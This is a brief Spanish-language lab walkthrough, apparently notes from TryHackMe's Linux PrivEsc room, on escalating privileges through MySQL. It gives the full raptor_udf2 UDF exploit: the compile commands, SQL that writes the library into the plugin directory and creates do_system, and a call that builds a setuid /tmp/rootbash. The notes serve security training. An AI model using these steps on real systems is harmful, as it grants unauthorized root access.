Service Exploit

Una de las formas que se puede escalar privilegios es ver que servicios corre en el sistema ,muchas veces estos servicios tienen privilegios altos o vulnerabilidades que nos podría ayudar a escalar privilegio en un sistema.

En la maquina de linuxprivesc en tryhackme tiene MySQL a traves de ese servicio se puede realizar la escalda utilizando un exploit conocido ,llamado MySQL 4.x/5.0 (Linux) - User-Defined Function (UDF) Dynamic Library (2):

Pasos de para escalar privilegios con MySQL.

1.Compilar el exploit:

gcc -g -c raptor_udf2.c -fPIC
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc

2.Conectarse al servidor:

mysql -u root -p

3.Ejecutar los comandos en MySQL y crear User Defined Function (UDF) "do_system"

use mysql;

reate table foo(line blob);

insert into foo values(load_file('/home/user/tools/mysql-udf/raptor_udf2.so'));

select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';

create function do_system returns integer soname 'raptor_udf2.so';

select do_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

exit

4.Cuando relizas los pasos anteriores salis de mysql y ejecutar los siguientes comandos

/tmp/rootbash -p

Esto es un ejemplo de la maquina de como se puede utilizar un servicio para escalar privilegios.

TryHackMe | Linux PrivEsc

Última actualización